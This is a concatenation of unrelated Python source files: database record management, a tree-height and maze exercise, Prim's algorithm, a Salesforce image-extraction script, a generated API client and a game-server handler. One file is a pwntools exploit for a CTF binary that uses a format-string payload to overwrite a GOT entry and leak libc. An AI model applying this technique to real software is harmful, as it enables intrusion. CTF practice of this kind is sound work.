            raise ValueError('Multiple matching records found')

    def count_records(self, style=None, query=None, **kwargs):
        """
        Retrieves a count of matching records from the database.  Much faster
        than get_records if you only want to know the number of matches.

        Parameters
        ----------
        style : str, optional
            The record style to search.
        query : dict, optional
            A custom-built Mongo-style query to use for the record search.
            Alternative to passing in the record-specific metadata keywords.
        **kwargs : any, optional
            Any of the record-specific metadata keywords that can be searched
            for.

        Returns
        ------
        int
            The count of records in the database matching the given parameters.
        """
        # Set default search parameters
        if style is None:
            style = self.select_record_style()

        # Use given query
        if query is not None:
            assert len(kwargs) == 0, 'query cannot be given with kwargs'
        else:
            query = load_record(style).mongoquery(**kwargs)

        # Query the collection to construct records
        collection = self.mongodb[style]
        count = collection.count_documents(query)

        return count

    def add_record(self, record=None, style=None, name=None, model=None,
                   build=False, verbose=False):
        """
        Adds a new record to the database.

        Parameters
        ----------
        record : Record, optional
            The new record to add to the database.  If not given, then name,
            style and content are required.
        style : str, optional
            The record style for the new record.  Required if record is not
            given.
        name : str, optional
            The name to assign to the new record.  Required if record is not
            given.
        model : str or DataModelDict, optional
            The model contents of the new record.  Required if record is not
            given.
        build : bool, optional
            If True, then the uploaded content will be (re)built based on the
            record's attributes.  If False (default), then record's existing
            content will be loaded if it exists, or built if it doesn't exist.
        verbose : bool, optional
            If True, info messages will be printed during operations.  Default
            value is False.

        Returns
        ------
        Record
            Either the given record or a record composed of the name, style,
            and content.

        Raises
        ------
        ValueError
            If style, name and/or content given with record, or a matching record
            already exists.
        """

        # Create Record object if not given
        if record is None:
            record = load_record(style, model=model, name=name)

        # Issue a ValueError for competing kwargs
        elif style is not None or name is not None or model is not None:
            raise ValueError('kwargs style, name, and content cannot be given with kwarg record')

        # Verify that there isn't already a record with a matching name
        if len(self.get_records(name=record.name, style=record.style)) > 0:
            raise ValueError(f'Record {record.name} already exists')

        # Retrieve/build model contents
        try:
            assert build is False
            model = record.model
        except:
            model = record.build_model()

        # Create meta mongo entry
        entry = OrderedDict()
        entry['name'] = record.name
        entry['content'] = model

        # Upload to mongodb
        self.mongodb[record.style].insert_one(entry)

        if verbose:
            print(f'{record} added to {self.host}')

        return record

    def update_record(self, record=None, style=None, name=None, model=None,
                      build=False, verbose=False):
        """
        Replaces an existing record with a new record of matching name and
        style, but new content.

        Parameters
        ----------
        record : Record, optional
            The record with new content to update in the database.  If not
            given, content is required along with name and/or style to
            uniquely define a record to update.
        style : str, optional
            The style of the record to update.
        name : str, optional
            The name to uniquely identify the record to update.
        model : str or DataModelDict, optional
            The model contents of the new record.  Required if record is not
            given.
        build : bool, optional
            If True, then the uploaded content will be (re)built based on the
            record's attributes.  If False (default), then record's existing
            content will be loaded if it exists, or built if it doesn't exist.
        verbose : bool, optional
            If True, info messages will be printed during operations.  Default
            value is False.

        Returns
        ------
        Record
            Either the given record or a record composed of the name, style,
            and content.

        Raises
        ------
        TypeError
            If no new content is given.
        ValueError
            If style and/or name content given with record.
        """

        # Create Record object if not given
        if record is None:
            if model is None:
                raise TypeError('no new model given')
            oldrecord = self.get_record(name=name, style=style)
            record = load_record(oldrecord.style, model=model, name=oldrecord.name)

        # Issue a ValueError for competing kwargs
        elif style is not None or name is not None:
            raise ValueError('kwargs style and name cannot be given with kwarg record')

        # Replace model in record object
        elif model is not None:
            oldrecord = record
            record = load_record(oldrecord.style, model=model, name=oldrecord.name)

        # Find oldrecord matching record
        else:
            oldrecord = self.get_record(name=record.name, style=record.style)

        # Delete oldrecord
        self.delete_record(record=oldrecord)

        # Add new record
        self.add_record(record=record, build=build)

        if verbose:
            print(f'{record} updated in {self.host}')

        return record

    def delete_record(self, record=None, style=None, name=None, verbose=False):
        """
        Permanently deletes a record from the database.

        Parameters
        ----------
        record : Record, optional
            The record to delete from the database.  If not given, name and/or
            style are needed to uniquely define the record to delete.
        name : str, optional
            The name of the record to delete.
        style : str, optional
            The style of the record to delete.
        verbose : bool, optional
            If True, info messages will be printed during operations.  Default
            value is False.

        Raises
        ------
        ValueError
            If style and/or name content given with record.
        """

        # Create Record object if not given
        if record is None:
            record = self.get_record(name=name, style=style)

        # Issue a ValueError for competing kwargs
        elif style is not None or name is not None:
            raise ValueError('kwargs style and name cannot be given with kwarg record')

        # Verify that record exists
        else:
            record = self.get_record(name=record.name, style=record.style)

        # Build delete query
        query = {}
        query['name'] = record.name

        # Delete record
        self.mongodb[record.style].delete_one(query)

        if verbose:
            print(f'{record} deleted from {self.host}')

    def add_tar(self, record=None, style=None, name=None, tar=None, root_dir=None):
        """
        Archives and stores a folder associated with a record.

        Parameters
        ----------
        record : Record, optional
            The record to associate the tar archive with.  If not given, then
            name and/or style necessary to uniquely identify the record are
            needed.
        name : str, optional
            .The name to use in uniquely identifying the record.
        style : str, optional
            .The style to use in uniquely identifying the record.
        tar : bytes, optional
            The bytes content of a tar file to save.  tar cannot be given
            with root_dir.
        root_dir : str, optional
            Specifies the root directory for finding the directory to archive.
            The directory to archive is at <root_dir>/<name>.  (Default is to
            set root_dir to the current working directory.)  tar cannot be given
            with root_dir.

        Raises
        ------
        ValueError
            If style and/or name content given with record or the record already
            has an archive.
        """
        # Create Record object if not given
        if record is None:
            record = self.get_record(name=name, style=style)

        # Issue a ValueError for competing kwargs
        elif style is not None or name is not None:
            raise ValueError('kwargs style and name cannot be given with kwarg record')

        # Verify that record exists
        else:
            record = self.get_record(name=record.name, style=record.style)

        # Define mongofs
        mongofs = GridFS(self.mongodb, collection=record.style)

        # Check if an archive already exists
        if mongofs.exists({"recordname": record.name}):
            raise ValueError('Record already has an archive')

        if tar is None:
            if root_dir is None:
                root_dir = Path.cwd()

            # Make archive
            basename = Path(root_dir, record.name)
            filename = Path(root_dir, record.name + '.tar.gz')
            shutil.make_archive(basename, 'gztar', root_dir=root_dir,
                                base_dir=record.name)

            # Upload archive
            with open(filename, 'rb') as f:
                tries = 0
                while tries < 2:
                    tries += 1
                    try:
                        mongofs.put(f, recordname=record.name)
                        break
                    except Exception as err:
                        if tries == 2:
                            raise ValueError('Failed to upload archive 2 times') from err

            # Remove local archive copy
            filename.unlink()

        elif root_dir is None:
            # Upload archive
            tries = 0
            while tries < 2:
                tries += 1
                try:
                    mongofs.put(tar, recordname=record.name)
                    break
                except Exception as err:
                    if tries == 2:
                        raise ValueError('Failed to upload archive 2 times') from err
        else:
            raise ValueError('tar and root_dir cannot both be given')

    def get_tar(self, record=None, style=None, name=None, raw=False):
        """
        Retrives the tar archive associated with a record in the database.

        Parameters
        ----------
        record : Record, optional
            The record to retrieve the associated tar archive for.
        name : str, optional
            .The name to use in uniquely identifying the record.
        style : str, optional
            .The style to use in uniquely identifying the record.
        raw : bool, optional
            If True, return the archive as raw binary content. If
            False, return as an open tarfile. (Default is False)

        Returns
        -------
        tarfile or str
            The tar archive as an open tarfile if raw=False, or as a binary str if
            raw=True.

        Raises
        ------
        ValueError
            If style and/or name content given with record.
        """

        # Create Record object if not given
        if record is None:
            record = self.get_record(name=name, style=style)

        # Issue a TypeError for competing kwargs
        elif style is not None or name is not None:
            raise TypeError('kwargs style and name cannot be given with kwarg record')

        # Verify that record exists
        #else:
        #    record = self.get_record(name=record.name, style=record.style)

        # Define mongofs
        mongofs = GridFS(self.mongodb, collection=record.style)

        # Build query
        query = {}
        query['recordname'] = record.name

        # Get tar
        matches = list(mongofs.find(query))
        if len(matches) == 1:
            tar = matches[0]
        elif len(matches) == 0:
            raise ValueError('No tar found for the record')
        else:
            raise ValueError('Multiple tars found for the record')

        # Return content
        if raw is True:
            return tar.read()
        else:
            tarobj = tarfile.open(fileobj=tar)
            record.tar = tarobj
            return tarobj

    def delete_tar(self, record=None, style=None, name=None):
        """
        Deletes a tar file from the database.

        Parameters
        ----------
        record : Record, optional
            The record associated with the tar archive to delete.  If not
            given, then name and/or style necessary to uniquely identify
            the record are needed.
        name : str, optional
            The name to use in uniquely identifying the record.
        style : str, optional
            The style to use in uniquely identifying the record.

        Raises
        ------
        ValueError
            If style and/or name content given with record.
        """

        # Create Record object if not given
        if record is None:
            record = self.get_record(name=name, style=style)

        # Issue a ValueError for competing kwargs
        elif style is not None or name is not None:
            raise ValueError('kwargs style and name cannot be given with kwarg record')

        # Verify that record exists
        else:
            record = self.get_record(name=record.name, style=record.style)

        # Define mongofs
        mongofs = GridFS(self.mongodb, collection=record.style)

        # Build query
        query = {}
        query['recordname'] = record.name

        # Get tar
        matches = list(mongofs.find(query))
        if len(matches) == 1:
            tar = matches[0]
        elif len(matches) == 0:
            raise ValueError('No tar found for the record')
        else:
            raise ValueError('Multiple tars found for the record')

        # Delete tar
        mongofs.delete(tar._id)

    def update_tar(self, record=None, style=None, name=None, tar=None, root_dir=None):
        """
        Replaces an existing tar archive for a record with a new one.

        Parameters
        ----------
        record : Record, optional
            The record to associate the tar archive with.  If not given, then
            name and/or style necessary to uniquely identify the record are
            needed.
        name : str, optional
            The name to use in uniquely identifying the record.
        style : str, optional
            The style to use in uniquely identifying the record.
        tar : bytes, optional
            The bytes content of a tar file to save.  tar cannot be given
            with root_dir.
        root_dir : str, optional
            Specifies the root directory for finding the directory to archive.
            The directory to archive is at <root_dir>/<name>.  (Default is to
            set root_dir to the current working directory.)  tar cannot be given
            with root_dir.
        """

        # Delete the existing tar archive stored in the database
        self.delete_tar(record=record, name=name, style=style)

        # Add the new tar archive
        self.add_tar(record=record, name=name, style=style, tar=tar, root_dir=root_dir)


# find the height of Binary Search Tree(BST)

# initialization of node
class Node:
    def __init__(self, data):
        self.data = data
        self.left = None
        self.right = None

def maxHeight(node):
    if node == None:
        return -1

    # find height of each subtree(right/left) side
    else:
        rHeight = maxHeight(node.right)
        lHeight = maxHeight(node.left)

        if rHeight > lHeight:
            return rHeight + 1
        else:
            return lHeight + 1

# main program to derive code

root = Node(1)
root.left = Node(2)
root.right = Node(3)
root.left.left = Node(4)
root.left.right = Node(5)

print("Height of tree is %d" %(maxHeight(root)))

Data Structures Notes/BinarySearchTree(find height).py


maze = [['0', '1', '0', '1', '1', '1', '0', '1'],
        ['1', '1', '0', '1', '1', '0', '0', '1'],
        ['1', '0', '0', '1', '0', '0', '1', '1'],
        ['1', '0', '0', '1', '1', '0', '1', '0'],
        ['1', '0', '0', '0', '1', '0', '1', '0'],
        ['1', '1', '0', '0', '1', '0', '1', '1'],
        ['0', '1', '1', '1', '1', '1', '0', '1'],
        ['1', '1', '0', '0', '0', '1', '1', '1']]

visited = [[0 for i in range(8)] for i in range(8)]

def valid(maze,i,j,visited):
    if i>=0 and j>=0 and i<8 and j<8 and maze[i][j] == '1' and visited[i][j]==0:
        return 1
    else:
        return 0

def showpath(visited):
    for i in visited:
        print(i)
    return

def findingpath(maze,i,j,visited):

    if i == 0 and j == 7:
        visited[0][7] = 1
        print("There is path: ")
        showpath(visited)
        return True

    elif valid(maze,i,j,visited):
        visited[i][j] = 1
        if findingpath(maze,i+1,j,visited):#down
            visited[i][j] = 1
            return True
        if findingpath(maze,i,j-1,visited):#left
            visited[i][j] = 1
            return True
        if findingpath(maze,i,j+1,visited):#right
            visited[i][j] = 1
            return True
        if findingpath(maze,i-1,j,visited):#up
            visited[i][j] = 1
            return True
        visited[i][j] = 0
    else:
        return False


#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

exe = context.binary = ELF('speedrun-005')

host = args.HOST or 'speedrun-005.quals2019.oooverflow.io'
port = int(args.PORT or 31337)

env= {'LD_PRELOAD':'./libc6_2.27-3ubuntu1_amd64.so'}
def local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, env=env,gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv,env=env, *a, **kw)

def remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return local(argv, *a, **kw)
    else:
        return remote(argv, *a, **kw)

gdbscript = '''
break *0x400701
continue
'''.format(**locals())

# -- Exploit goes here --

context.terminal = ['tmux', 'split', '-h']
io = start()
io.recv()
offset = 138135

main = 0x400729
target = exe.got['puts']
target2 = target+2
payload = "AA%141$8llx%{}x%{}$n%{}x%{}$hn{}{}".format(0x0040 - 9 - 5, 10, 0x0729 - 0x40, 11, p64(target2), p64(target))

io.sendline(payload)
io.recvuntil('AAAA')
addr = int(io.recvline().strip(), 16) - offset
log.info(hex(addr))

io.interactive()


from abc import ABC, abstractmethod

__all__ = ("Formatter",)

from pathlib import Path

from prospector.message import Message

class Formatter(ABC):
    def __init__(self, summary, messages, profile, paths_relative_to: Path = None):
        self.summary = summary
        self.messages = messages
        self.profile = profile
        self.paths_relative_to = paths_relative_to

    @abstractmethod
    def render(self, summary=True, messages=True, profile=False):
        raise NotImplementedError

    def _make_path(self, path: Path) -> str:
        if self.paths_relative_to is None:
            path = path.absolute()
        elif path.is_absolute():
            path = path.relative_to(self.paths_relative_to)
        return str(path)

    def _message_to_dict(self, message: Message) -> dict:
        loc = {
            "path": self._make_path(message.location.path),
            "module": message.location.module,
            "function": message.location.function,
            "line": message.location.line,
            "character": message.location.character,
        }
        return {
            "source": message.source,
            "code": message.code,
            "location": loc,
            "message": message.message,
        }


import numpy as np
import math
import re

def get_file_input_graph_adjucency_list():
    with open('input.txt', 'r', encoding='utf-8') as f:
        arr_len = int(f.readline())
        data = f.read()
        adjucency_arr = [int(i) for i in re.findall(r"[\d]+", data)[0:arr_len]]
        nodes_count = adjucency_arr[0] - 1
        graph_edges = np.array([[math.inf for _ in range(nodes_count - 1)] for _ in range(nodes_count - 1)])
        for i in range(nodes_count - 1):
            ratio = 0
            for node in range(int((adjucency_arr[i + 1] - adjucency_arr[i]) / 2)):
                graph_edges[i][adjucency_arr[adjucency_arr[i] - 1 + ratio] - 1] = \
                    adjucency_arr[adjucency_arr[i] + ratio]
                graph_edges[adjucency_arr[adjucency_arr[i] - 1 + ratio] - 1][i] = \
                    adjucency_arr[adjucency_arr[i] + ratio]
                ratio += 2
        return graph_edges

class Graph:
    def __init__(self, vertices):
        self.V = vertices
        self.graph = [[math.inf for _ in range(vertices)]
                      for _ in range(vertices)]

    def writeMST(self, parent):
        with open("output.txt", "w", encoding="utf-8") as f:
            summary = 0
            edges = []
            for i in range(1, self.V):
                edges.append((i, parent[i]))
            for i in range(self.V):
                res = ''
                for el in edges:
                    if el[0] == i:
                        res += str(el[1] + 1) + " " + str(int(self.graph[el[1]][el[0]])) + " "
                    if el[1] == i:
                        res += str(el[0] + 1) + " " + str(int(self.graph[el[1]][el[0]])) + " "
                f.write(res + "0\n")

            for i in range(1, self.V):
                summary += self.graph[i][parent[i]]
            f.write(str(int(summary)))

    # Функция для нахождения вершины с наименьшим весом к ней
    # из тех, которые еще не были выбраны
    # A utility function to find the vertex with
    # minimum distance value, from the set of vertices
    # not yet included in shortest path tree
    def minWeight(self, weight, already_set_in_MST):
        min = math.inf

        for v in range(self.V):
            if weight[v] < min and already_set_in_MST[v] == False:
                min = weight[v]
                min_node_index = v

        return min_node_index

    # Функция построения и отрисовки остова для графа
    # Используются матрицы смежности
    # Function to construct and print MST for a graph
    # represented using adjacency matrix representation
    def primMST(self):

        # значения веса, используемые для выбора минимального веса
        # weight values used to pick minimum weight edge
        weight = [math.inf] * self.V
        parent = [None] * self.V  # Array to store constructed MST
        # Make weigth 0 so that this vertex is picked as first vertex
        weight[0] = 0
        already_set_in_MST = [False] * self.V

        parent[0] = -1  # First node is always the root of MST

        for node in range(self.V):
            # Берем наименьший вес от вершины к оставшемуся множеству вершин,
            # которые еще не обработаны
            # u всегда равна источнику на первой итерации
            # Pick the minimum distance vertex from
            # the set of vertices not yet processed.
            # u is always equal to src in first iteration
            u = self.minWeight(weight, already_set_in_MST)

            # Кладем это минимальный вес (как бы ребро) в остов
            # Put the minimum distance vertex in
            # the shortest path tree
            already_set_in_MST[u] = True

            # Обновляем значения веса смежных вершин
            # выбранной вершины только если текущий вес
            # больше чем новый вес и вершины еще нет в остове
            #
            # Update dist value of the adjacent vertices
            # of the picked vertex only if the current
            # distance is greater than new distance and
            # the vertex in not in the shotest path tree
            for v in range(self.V):
                # graph[u][v] имеет ребро если его вес < inf
                # already_set_in_MST[v] false для невключенных в остов вершин
                # Обновляем weight только если graph[u][v] меньше чем weight[v]
                # Как раз здесь идет проверка на цикл
                #
                # graph[u][v] is non zero only for adjacent vertices of m
                # already_set_in_MST[v] is false for vertices not yet included in MST
                # Update the weight only if graph[u][v] is smaller than key[v]
                if self.graph[u][v] < math.inf and already_set_in_MST[v] == False and weight[v] > self.graph[u][v]:
                    weight[v] = self.graph[u][v]
                    parent[v] = u
        self.writeMST(parent)

graph_edges = get_file_input_graph_adjucency_list()
g = Graph(len(graph_edges))
g.graph = graph_edges

g.primMST()


import requests
import pyodbc
import re
import os
import base64
import sys
import hashlib

env = sys.argv[1]
objectname = 'Case'
RTField_list = []
MD5Hash_list = []

#  Get Salesforce access token and use REST API
sf_params = {
    "grant_type": "password",
    "client_id": "",
    "client_secret": "",
    "username": "",
    "password": ""
}

r = requests.post("https://login.salesforce.com/services/oauth2/token",
                  headers={"Content-Type": "application/x-www-form-urlencoded"}, data=sf_params)
access_token = r.json().get("access_token")
headers = {
    'Authorization': 'Bearer ' + access_token,
}

#  Connect to Carbon database server
conn = pyodbc.connect("Driver={SQL Server Native Client 11.0};"
                      r"Server=;"
                      "Database=" + env + ";"
                      "Trusted_Connection=yes;")
cursor = conn.cursor()  # connection to get all rich text fields with  tags

# Questions from Sophia: tried to use delta load but cannot figure out a better way to do it...
cursor.execute(r"""
    select Id, CaseNumber, 'Problem_Recreation__c' as API_Name, cast(Problem_Recreation__c as nvarchar(max)) as RichText from SFCaseLand
    where cast(Problem_Recreation__c as nvarchar(max)) is not null and cast(Problem_Recreation__c as nvarchar(max)) like '%%'
    union
    select Id, CaseNumber, 'Root_Cause_FA__c', cast(Root_Cause_FA__c as nvarchar(max)) from SFCaseLand
    where cast(Root_Cause_FA__c as nvarchar(max)) is not null and cast(Root_Cause_FA__c as nvarchar(max)) like '%%'
    union
    select Id, CaseNumber, 'Most_Recent_Case_Comment__c', cast(Most_Recent_Case_Comment__c as nvarchar(max)) from SFCaseLand
    where cast(Most_Recent_Case_Comment__c as nvarchar(max)) is not null and cast(Most_Recent_Case_Comment__c as nvarchar(max)) like '%%'
    union
    select Id, CaseNumber, 'HubCase_Parnter_Comments__c', cast(HubCase_Parnter_Comments__c as nvarchar(max)) from SFCaseLand
    where cast(HubCase_Parnter_Comments__c as nvarchar(max)) is not null and cast(HubCase_Parnter_Comments__c as nvarchar(max)) like '%%'
    union
    select Id, CaseNumber, 'Current_Case_Status__c', cast(Current_Case_Status__c as nvarchar(max)) from SFCaseLand
    where cast(Current_Case_Status__c as nvarchar(max)) is not null and cast(Current_Case_Status__c as nvarchar(max)) like '%%'
    union
    select Id, CaseNumber, 'Conditions_of_Satisfaction__c', cast(Conditions_of_Satisfaction__c as nvarchar(max)) from SFCaseLand
    where cast(Conditions_of_Satisfaction__c as nvarchar(max)) is not null and cast(Conditions_of_Satisfaction__c as nvarchar(max)) like '%%'
""")

for row in cursor:
    RTField_derived = {}
    EID = row[0]
    CaseNumber = row[1]
    fieldname = row[2]
    raw_text = row[3]
    new_text = raw_text
    # find html tags with Salesforce link
    image_url_one = re.findall(
        'https://c\.na79\.content\.force\.com/servlet/rtaImage\?eid=\S+&feoid=\S+&refid=\S+"', row[3])
    #  find html tags with base64 encoded
    image_url_two = re.findall('data:image/[png|gif]*;base64\S+"', row[3])
    #  find html tags with local file path embedded
    image_url_three = re.findall('src="file:///C:\S+', row[3])  # remove the tag from rax text

    if image_url_one:
        for each_url_one in image_url_one:
            MD5Hash_dict = {}
            # Get each image in rich text field unique identifier
            refid = each_url_one.split(';')[-1].replace('refid=', '').replace('"', '')
            url = "https://na79.salesforce.com/services/data/v43.0/sobjects/" + objectname + '/' + EID + \
                  '/richTextImageFields/' + fieldname + '/' + refid + '/'
            response = requests.get(url, headers=headers)
            #  Define the file type
            content_type = response.headers.get('Content-Type')
            if content_type == 'image/jpeg':
                file_type = '.jpg'
            else:
                file_type = '.png'
            #  Generate the file path
            path = 'D:/App/Carbon/Salesforce/Image Attachments/' + env + '/Land/' + EID + '/'
            try:
                os.mkdir(path)
            except OSError as error:
                print("The directory already exists", EID)
            #  Download the images into local folder
            with open(path + refid + file_type, 'wb') as f:
                f.write(response.content)
            # Generate MD5 hash of each image
            with open(
                    path + refid + file_type, "rb") as md5_file:
                bytes = md5_file.read()  # read file as bytes
                readable_hash = hashlib.md5(bytes).digest()
            MD5Hash_dict['Attachment_FileHash'] = readable_hash
            MD5Hash_dict['ParentId'] = EID
            MD5Hash_dict['Name'] = refid + file_type
            MD5Hash_list.append(MD5Hash_dict)
            #  base64 encoded and transform the code into html file, for reference only
            #  with open('D:/App/Carbon/Salesforce/RT Fields Images/'+EID+'/' + refid + file_type, "rb") as image_file:
            #    encoded_string = base64.b64encode(image_file.read()).decode('utf-8')
            #    print(encoded_string)
            #  with open('D:/App/Carbon/Salesforce/RT Fields Images/'+EID+'/' + refid + '.html', 'w') as html_file:
            #    image_html = ''
            #    html_file.write(image_html)
            #    html_file.close()

            #  replace  html tags into explanations text
            new_text = re.sub(r'<img.+' + re.escape(each_url_one) + r'.+?',
                              '(Please refer to the following case note for screenshot - ' +
                              refid + file_type + ')', new_text)
    if image_url_two:
        i = 0
        for each_url_two in image_url_two:
            MD5Hash_dict = {}
            i += 1  # file name identifier to differentiate multiple images in one field
            #  Get base64 encode
            base64_code = each_url_two.replace('data:image/png;base64,', '').replace('data:image/gif;base64,', '') \
                .replace('"', '').encode('utf-8')
            #  Define the file type
            if 'data:image/png;base64,' in each_url_two:
                filename = CaseNumber + '_' + fieldname + '_' + str(i) + '.jpg'
            elif 'data:image/gif;base64,' in each_url_two:
                filename = CaseNumber + '_' + fieldname + '_' + str(i) + '.gif'
            #  Generate the file path
            path = 'D:/App/Carbon/Salesforce/Image Attachments/' + env + '/Land/' + EID + '/'
            try:
                os.mkdir(path)
            except OSError as error:
                print("The directory already exists", EID)
            # base 64 decoded and save the image in local folder
            with open(
                    path + filename, "wb") as base64_file:
                try:
                    base64_file.write(base64.decodebytes(base64_code))
                #  Handle the error when the base64 code is invalid
                except base64.binascii.Error as decode_error:
                    print("This is an error in base64 code.")
            # Generate MD5 hash for each image
            with open(
                    path + filename, "rb") as base64_file:
                bytes = base64_file.read()  # read file as bytes
                readable_hash = hashlib.md5(bytes).digest()
            MD5Hash_dict['Attachment_FileHash'] = readable_hash
            MD5Hash_dict['ParentId'] = EID
            MD5Hash_dict['Name'] = filename
            MD5Hash_list.append(MD5Hash_dict)
            # replace  html tags into explanations text
            new_text = re.sub(r'<img.+' + re.escape(each_url_two) + r'.+?',
                              '(Please refer to the following case note for screenshot - ' + filename + ')', new_text)
    #  Save the new text with its id and case number into a list of dictionary
    RTField_derived['CaseNumber'] = CaseNumber
    RTField_derived['Id'] = EID
    RTField_derived['APIName'] = fieldname
    RTField_derived['Rich_Text_Field_derived'] = new_text
    RTField_list.append(RTField_derived)

# Is there a good way to do upsert? I cannot figure it out so I directly use truncate and load instead...
# insert id, case number and new text into SQL table
cursor.execute("truncate table SFRTFieldStage")
for each_RTField in RTField_list:
    #  print(each_RTField)
    # cursor.execute("update SFRTFieldStage set CaseNumber=?, Id=?,APIName=?,Rich_Text_Field_derived=?",
    #               (each_RTField['CaseNumber'], each_RTField['Id'], each_RTField['APIName'], each_RTField['Rich_Text_Field_derived']))
    cursor.execute("insert into SFRTFieldStage (CaseNumber, Id, APIName, Rich_Text_Field_derived) values (?, ?, ?, ?)",
                   (each_RTField['CaseNumber'], each_RTField['Id'], each_RTField['APIName'],
                    each_RTField['Rich_Text_Field_derived']))
    cursor.commit()

# insert MD5 hash, Case Id and File name into SFImageAttachmentLand table
cursor.execute("truncate table SFImageAttachmentLand")
for each_MD5Hash in MD5Hash_list:
    cursor.execute("insert into SFImageAttachmentLand (Attachment_FileHash, ParentId, Name) values (?, ?, ?)",
                   (each_MD5Hash['Attachment_FileHash'], each_MD5Hash['ParentId'], each_MD5Hash['Name']))
    cursor.commit()


from typing import Any, Dict, Optional, Union, cast

import httpx

from ...client import Client
from ...models.fire_multiple_action_default_system_action import FireMultipleActionDefaultSystemAction
from ...models.fire_multiple_action_form import FireMultipleActionForm
from ...models.response_entity_view import ResponseEntityView
from ...types import Response

def _get_kwargs(
    system_action: FireMultipleActionDefaultSystemAction,
    *,
    client: Client,
    json_body: FireMultipleActionForm,
) -> Dict[str, Any]:
    url = "{}/v1/workflow/actions/default/fire/{systemAction}".format(client.base_url, systemAction=system_action)

    headers: Dict[str, str] = client.get_headers()
    cookies: Dict[str, Any] = client.get_cookies()

    json_json_body = json_body.to_dict()

    return {
        "method": "post",
        "url": url,
        "headers": headers,
        "cookies": cookies,
        "timeout": client.get_timeout(),
        "json": json_json_body,
    }

def _parse_response(*, response: httpx.Response) -> Optional[Union[Any, ResponseEntityView]]:
    if response.status_code == 200:
        response_200 = ResponseEntityView.from_dict(response.json())

        return response_200
    if response.status_code == 400:
        response_400 = cast(Any, None)
        return response_400
    return None

def _build_response(*, response: httpx.Response) -> Response[Union[Any, ResponseEntityView]]:
    return Response(
        status_code=response.status_code,
        content=response.content,
        headers=response.headers,
        parsed=_parse_response(response=response),
    )

def sync_detailed(
    system_action: FireMultipleActionDefaultSystemAction,
    *,
    client: Client,
    json_body: FireMultipleActionForm,
) -> Response[Union[Any, ResponseEntityView]]:
    """Fire default action by name on multiple contents

    Args:
        system_action (FireMultipleActionDefaultSystemAction):
        json_body (FireMultipleActionForm):

    Returns:
        Response[Union[Any, ResponseEntityView]]
    """

    kwargs = _get_kwargs(
        system_action=system_action,
        client=client,
        json_body=json_body,
    )

    response = httpx.request(
        verify=client.verify_ssl,
        **kwargs,
    )

    return _build_response(response=response)

def sync(
    system_action: FireMultipleActionDefaultSystemAction,
    *,
    client: Client,
    json_body: FireMultipleActionForm,
) -> Optional[Union[Any, ResponseEntityView]]:
    """Fire default action by name on multiple contents

    Args:
        system_action (FireMultipleActionDefaultSystemAction):
        json_body (FireMultipleActionForm):

    Returns:
        Response[Union[Any, ResponseEntityView]]
    """

    return sync_detailed(
        system_action=system_action,
        client=client,
        json_body=json_body,
    ).parsed

async def asyncio_detailed(
    system_action: FireMultipleActionDefaultSystemAction,
    *,
    client: Client,
    json_body: FireMultipleActionForm,
) -> Response[Union[Any, ResponseEntityView]]:
    """Fire default action by name on multiple contents

    Args:
        system_action (FireMultipleActionDefaultSystemAction):
        json_body (FireMultipleActionForm):

    Returns:
        Response[Union[Any, ResponseEntityView]]
    """

    kwargs = _get_kwargs(
        system_action=system_action,
        client=client,
        json_body=json_body,
    )

    async with httpx.AsyncClient(verify=client.verify_ssl) as _client:
        response = await _client.request(**kwargs)

    return _build_response(response=response)

async def asyncio(
    system_action: FireMultipleActionDefaultSystemAction,
    *,
    client: Client,
    json_body: FireMultipleActionForm,
) -> Optional[Union[Any, ResponseEntityView]]:
    """Fire default action by name on multiple contents

    Args:
        system_action (FireMultipleActionDefaultSystemAction):
        json_body (FireMultipleActionForm):

    Returns:
        Response[Union[Any, ResponseEntityView]]
    """

    return (
        await asyncio_detailed(
            system_action=system_action,
            client=client,
            json_body=json_body,
        )
    ).parsed


import random
import string

from django.core.cache import cache

from BFBC2_MasterServer.packet import Packet
from Theater.models import Game

async def enter_game_request(connection, message):
    lid = message.Get("LID")
    gid = message.Get("GID")

    game = await Game.objects.get_game(lid, gid)

    if not game:
        return

    # pid is the unique player id on the game server
    pid = cache.get_or_set(f"nextServerPlayerID:{gid}", 0, timeout=None)
    connection.pid = pid

    cache.incr(f"nextServerPlayerID:{gid}")
    cache.set(f"players:{gid}:{pid}", connection.lkey, timeout=None)

    response = Packet()
    response.Set("LID", lid)
    response.Set("GID", gid)

    serverFull = game.activePlayers + 1 > game.maxPlayers

    if serverFull:
        response.kind = 0x71756575

        queue_str = cache.get_or_set(f"queue:{gid}", "", timeout=None)
        queue_list = queue_str.split(";")
        queue_list.append(str(pid))
        queue_str = ";".join(queue_list)
        cache.set(f"queue:{gid}", queue_str, timeout=None)
        cache.set(
            f"playerData:{gid}:{pid}",
            f"{connection.persona.id};{message.Get('R-INT-IP')}:{message.Get('R-INT-PORT')};{connection.ip}:{message.Get('PORT')};{message.Get('PTYPE')}",
            timeout=None,
        )

        response.Set("QPOS", queue_list.index(str(pid)) - 1)
        response.Set("QLEN", len(queue_list) - 1)

    yield response

    # Ticket is random 10 digit number, it has to be sent to both client and server
    ticket = "".join(random.choices(string.digits, k=10))

    gameSession = cache.get(f"gameSession:{gid}")

    # Sent "Enter Game Host Request" to the game server
    if not serverFull:
        enterGameHostRequestData = {
            "R-INT-IP": message.Get("R-INT-IP"),
            "R-INT-PORT": message.Get("R-INT-PORT"),
            "IP": connection.ip,
            "PORT": message.Get("PORT"),
            "NAME": connection.persona.name,
            "PTYPE": message.Get("PTYPE"),
            "TICKET": ticket,
            "PID": pid,
            "UID": connection.persona.id,
            "LID": lid,
            "GID": gid,
        }

        await connection.send_remote_message(
            gameSession, "EGRQ", enterGameHostRequestData
        )
    else:
        queueEnter = {
            "R-INT-IP": message.Get("R-INT-IP"),
            "R-INT-PORT": message.Get("R-INT-PORT"),
            "NAME": connection.persona.name,
            "PID": pid,
            "UID": connection.persona.id,
            "LID": lid,
            "GID": gid,
        }

        await connection.send_remote_message(gameSession, "QENT", queueEnter)

    owner = await Game.objects.get_game_owner(lid, gid)

    enterGameNotice = Packet(service="EGEG")
    enterGameNotice.Set("PL", connection.plat.value)
